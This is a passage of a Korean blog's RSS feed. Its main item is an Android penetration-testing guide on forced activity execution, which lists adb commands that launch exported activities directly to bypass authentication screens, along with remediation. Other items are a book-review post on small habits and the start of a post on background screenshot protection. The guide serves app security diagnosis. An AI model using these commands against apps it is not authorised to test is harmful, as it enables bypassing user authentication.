&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;액티비티 강제 실행 취약점은 공격자가 앱의 예상치 못한 액티비티를 강제로 실행시켜 민감한 정보에 접근하거나 비정상적인 동작을 유발할 수 있기 때문에 주의가 필요하다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;개발자는 액티비티를 설계할 때 해당 액티비티가 예상치 못한 방식으로 실행되지 않도록 보호 조치를 취해야 하며&lt;span&gt;, AndroidManifest.xml&lt;/span&gt;에서 보안 관련 속성을 올바르게 설정하여 액티비티의 보안을 강화해야 한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;100%&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;더 알아보기&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;안드로이드 앱 메타데이터 파일&lt;span&gt;(AndroidManifest.xml)&lt;/span&gt;은 앱의 패키지명 뿐만 아니라 앱의 공용&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;API&lt;/span&gt;를 선언하기 위해서도 사용된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;컴포넌트&lt;span&gt;(&lt;/span&gt;액티비티&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;서비스 및 브로드캐스트 리시버&lt;span&gt;)&lt;/span&gt;는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;android:name&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;속성에 고유한 이름을 선언한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;비공개가 아닌&lt;span&gt;(android:exported&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;값이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;true&lt;/span&gt;인&lt;span&gt;)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;컴포넌트는 외부에서도 호출 가능한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;API&lt;/span&gt;로 취급되며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;안드로이드 공식 문서에서는 앱 출시 이후에는 이름을 변경하지 않는 것을 권고하고 있다&lt;span&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;컴포넌트 이름의 변경은 연계 설정된 값&lt;span&gt;(&lt;/span&gt;입력 방법&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;접근성 서비스 등&lt;span&gt;)&lt;/span&gt;을 기본 값으로 변경할 수 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;개발자들은 이를 신중하게 관리해야 한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731251748046&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;html&quot;&gt;&lt;code&gt;&amp;lt;manifest ... &amp;gt;
  &amp;lt;application ... &amp;gt;
    &amp;lt;activity
      android:name=&quot;.MyAuthActivity&quot;
      android:exported=&quot;true&quot;
      android:permission=&quot;com.myapp.permission.AUTH&quot;&amp;gt;
    &amp;lt;/activity&amp;gt;
  &amp;lt;/application ... &amp;gt;
      ...
&amp;lt;/manifest &amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제의 경우&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;activity&amp;gt;&lt;/span&gt;태그 내에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;android:exported&amp;rsquo;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;속성의 값이 참&lt;span&gt;(&amp;lsquo;true&amp;rsquo;)&lt;/span&gt;으로 설정되어 있어 해당 액티비티는 외부에 공개되어 있음을 알 수 있고 명시적으로 다른 컴포넌트에서 호출할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예제의 액티비티&lt;span&gt;(.MyAuthActivity)&lt;/span&gt;가 사용자 인증 기능을 하는 액티비티이며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;외부 호출이 가능한 취약 액티비티라고 가정할 경우 다음의 위협이 발생할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;637&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8hLrQ/btsKvDSuyQC/nyrjkuD3ii5UQOb6h4KOxK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8hLrQ/btsKvDSuyQC/nyrjkuD3ii5UQOb6h4KOxK/img.png&quot; data-alt=&quot;액티비티 정상 실행 흐름 및 취약 실행 흐름&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8hLrQ/btsKvDSuyQC/nyrjkuD3ii5UQOb6h4KOxK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8hLrQ%2FbtsKvDSuyQC%2FnyrjkuD3ii5UQOb6h4KOxK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;435&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;637&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;액티비티 정상 실행 흐름 및 취약 실행 흐름&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱 개발자는 사용자의 민감정보나 중요 기능에 접근하기 전 인증 기능을 거치도록 앱을 구성할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;그러나 액티비티에 대한 보안 설정을 취약하게 설정하여 외부로 노출된 경우&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;각각의 액티비티를 실행 흐름에 관계없이 호출할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예를 들어 기존의 사용자 로그인 정보가 앱 내에 저장되어 있고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;두 번째 액티비티의 강제 실행을 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;차 인증을 우회하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;차 인증만 통과하면 세 번째 액티비티의 민감정보에 접근할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;세 번째 액티비티의 강제 실행이 가능한 경우&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앞의 두 단계에 대한 인증 로직을 우회하여 실행할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;액티비티 강제 실행 취약점은 액티비티가 외부로 노출되어 있고 직접 호출이 가능하며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;각 액티비티가 시작할 때 이전 액티비티의 인증 절차가 구현되지 않았을 때 발생한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;2. 진단방법&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;액티비티 강제실행 취약점을 진단하는 방법은 취약점이 발생하는 주된 위치인 인증&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;권한 사용 기능에 대해 우회가 가능한지 확인하는 것이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;인증 절차를 수행하는 데 사용되는 액티비티를 보호하지 않고 다른 앱이나 외부로부터 강제 실행을 허용하고 인증 이후 화면에 접근 가능하거나 민감정보의 탈취가 가능한 경우 취약으로 진단한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;adb&lt;/span&gt;를 이용하여 액티비티를 직접 실행시킬 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;다음의 명령을 참고한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;&lt;b&gt;패키지 명 및 액티비티 명 확인&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ADB&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;#&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;dumpsys package [패키지명] | grep -i activity&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Activity 강제 호출&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PC&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;adb shell su&amp;nbsp; -c am start -a android.intent.action.MAIN -n [패키지명]/[액티비티 경로명]&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Activity 강제 중지&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PC&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;gt;&lt;i&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;adb shell am force-stop [패키지명]&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;현재 단말기 화면에 실행중인 Activity 확인&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PC&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;adb shell &amp;ldquo;dumpsys window windows&amp;rdquo; | grep -E &amp;lsquo;mCurrentFocus|mFocusedApp&amp;rsquo;&amp;rdquo;&lt;/i&gt;&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약여부&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;507&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;94&quot;&gt;&lt;span&gt;취약&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;507&quot;&gt;&lt;span&gt;&lt;span&gt;adb,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;스크립트 등으로 액티비티를 강제 실행시켜 인증 우회 또는 민감정보 유출이 가능하며 이후 기능을 정상적으로 사용할 수 있는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;94&quot;&gt;&lt;span&gt;양호&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;507&quot;&gt;&lt;span&gt;&lt;span&gt;adb,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;스크립트 등으로 액티비티의 강제 실행이 불가능한 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;3. 보안대책&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱 내에서만 사용하는 액티비티는 앱 외부에 공개되거나 컴포넌트를 노출할 필요가 없다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;외부로부터의 악의적인 호출을 방지하기 위해 명시적으로 비공개로 설정한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731251748050&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;html&quot;&gt;&lt;code&gt;&amp;lt;manifest ... &amp;gt;
  &amp;lt;application ... &amp;gt;
    &amp;lt;activity
		android:name=&quot;.PrivateActivity&quot;
		android:label=&quot;@string/app_name&quot;
		android:exported=&quot;false&quot;&amp;gt;
    &amp;lt;/activity&amp;gt;
  &amp;lt;/application ... &amp;gt;
      ...
&amp;lt;/manifest &amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;민감한 작업을 수행하는 액티비티에는 적절한 권한 및 접근 제어 로직을 구현하는 것이 필수적이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;액티비티를 설계할 때&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;권한 확인 및 추가 인증 과정이 포함되도록 해야 하며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;외부에서 해당 액티비티를 실행할 때에도 인가된 사용자만이 접근할 수 있도록 해야 한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;액티비티 내에서의 권한 확인은 사용자가 특정 기능에 접근하기 전에 인증 절차를 거치도록 하는 것을 의미한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;추가 인증 과정은 민감한 작업을 수행하기 전에 이중으로 사용자를 확인하는 방법으로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예를 들어 비밀번호&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;지문 인식&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;얼굴 인식 등 다양한 방법을 사용할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;외부에서 액티비티를 실행하는 경우에도&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;인가된 사용자만이 액티비티를 사용할 수 있도록 권한 체크 로직을 구현해야 한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이를 통해 앱 내부의 민감한 액티비티가 외부의 비인가된 접근으로부터 보호될 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/263</guid>
      <comments>https://gomguk.tistory.com/263#entry263comment</comments>
      <pubDate>Mon, 11 Nov 2024 00:15:33 +0900</pubDate>
    </item>
    <item>
      <title>&amp;lt;하버드 회복탄력성 수업&amp;gt; 실천하기 - 작은 습관 만들기</title>
      <link>https://gomguk.tistory.com/262</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;background-color: #e6f5ff; color: #0070d1;&quot; href=&quot;https://blog.peanutz.site/247&quot;&gt;2024.10.29 - [Review/Book] - [책 리뷰] 하버드 회복탄력성 수업&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회복탄력성을 훈련하는 방법 중 하나로 책에서는 작은 습관으로 시작하여 실천으로 이어가는 연습을 하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;작은 습관으로 시작할 수 있는 것들을 정리해보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;작은 목표와 규칙 세우기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;하루 5분 독서&lt;/b&gt;: 책 한 권을 다 읽는 것이 부담스러울 때, 하루에 단 5분만 독서하도록 목표를 세운다. 책을 읽는다는 시간을 일부러 빼놓기 보다는 흥미를 가지는 것이 필요하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;하루 한 문장 일기 쓰기&lt;/b&gt;: 긴 일기를 쓰려는 부담 대신, 하루를 돌아보며 한 줄의 느낌이나 감사한 일을 적어본다. 나만의 기록을 남기는 작은 시작이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;매일 10분 산책하기&lt;/b&gt;: 운동을 시작하기 어렵다면 하루 10분만 가볍게 산책하는 규칙을 만든다. 물론 밖으로 나가려는 결심을 세우는 것이 가장 어렵겠지만 나가 걷는 것이 운동 습관의 시작이 될 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;'감사한 일 세 가지' 기록하기&lt;/b&gt;: 책에서도 추천한 내용이다. 하루에 감사한 세 가지를 기록하는 것도 긍정적인 생각을 키우는 작은 목표이다. 하루를 긍정적으로 마무리하는 데 도움이 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;하루에 물 1잔 추가로 마시기&lt;/b&gt;: 건강을 위해 물을 충분히 마시고자 할 때, 하루에 물 한 잔을 더 마시는 목표부터 시작할 수 있다. 몸을 챙기는 습관.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;일과 중 5분 스트레칭 하기&lt;/b&gt;: 책상에서 일하는 시간이 길다면, 매일 특정 시간에 일어나 5분 정도 스트레칭을 하는 것을 목표로 삼을 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;'할 일' 한 가지 미리 준비하기&lt;/b&gt;: 매일 그다음 날 해야 할 일을 하나만 미리 준비하는 것도 부담 없는 목표이다. 큰 일 앞에서 준비된 마음을 갖는 데 도움이 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;매일 하나의 새 단어 배우기&lt;/b&gt;: 언어 학습에 관심이 있다면, 하루에 단어 하나씩만 배우도록 한다. 꾸준히 하면 어휘력이 향상된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;스스로에게 격려 한마디 건네기&lt;/b&gt;: 하루를 시작하며 거울을 보며 한마디 긍정적인 말을 스스로에게 건네는 것도 기분 좋은 습관이 될 수 있다. 예를 들어 &quot;오늘도 잘 해낼 거야&quot;라고 말하는 식&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;5분간 깊게 숨쉬기&lt;/b&gt;: 스트레스 완화를 위해 매일 특정 시간에 깊게 숨쉬는 연습을 하는 것도 훌륭한 작은 시작이다. 긴장을 풀고 마음을 정리하는 데 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;마치며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오블완 챌린지를 하면서, 포스팅을 위한 시간을 내고, 하루를 정리하고 생각하는 시간을 가진다. 할 일이 하나 더 생기는 것이라 더 바빠질 줄 알았는데 오히려 더 여유로워진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Review/  Book</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/262</guid>
      <comments>https://gomguk.tistory.com/262#entry262comment</comments>
      <pubDate>Sun, 10 Nov 2024 01:01:55 +0900</pubDate>
    </item>
    <item>
      <title>[안드로이드 모의해킹] 백그라운드 화면 보호</title>
      <link>https://gomguk.tistory.com/261</link>
      <description>&lt;h3 style=&quot;color: #000000;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/h3&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 홈 버튼을 누르거나&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱이 실행중인 상태에서 다른 앱을 실행하여 앱이 백그라운드 모드로 전환되면 안드로이드는 현재 앱 액티비티의 스크린샷을 생성하여 작업 관리자&lt;span&gt;(task manager)&lt;/span&gt;에서 확인할 수 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;사용자가 최근 사용한 앱 목록을 볼 때 표시된다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 기능은 사용자에게 편리함을 제공하지만&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;동시에 보안상의 위험을 초래할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예를 들어&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱이 민감한 정보를 화면에 표시하고 있는 경우&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;스크린샷이 기록되어 작업 관리자에 노출될 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이는 민감한 정보의 외부 노출로 이어질 수 있으므로&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;민감한 정보가 스크린샷에 포함되지 않도록 해야 한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;br /&gt;&lt;b&gt;  더 알아보기&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;작업 관리자의 명칭은 구글 공식 문서에서도 다양한 이름으로 사용하고 있다.&lt;br /&gt;&lt;br /&gt;영문으로는 Recents screen, Overview screen, Recent task list, recent apps screen 등으로 사용한다. 하지만 기능은 최근 사용한 액티비티와 작업을 나열하는 시스템 수준 UI를 제공한다. 사용자는 목록을 탐색하고, 다시 사용할 앱을 선택하거나 스와이프해서 제거할 수 있다.&lt;br /&gt;&lt;br /&gt;공식 문서: &lt;a href=&quot;https://developer.android.com/guide/components/activities/recents&quot;&gt;https://developer.android.com/guide/components/activities/recents&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
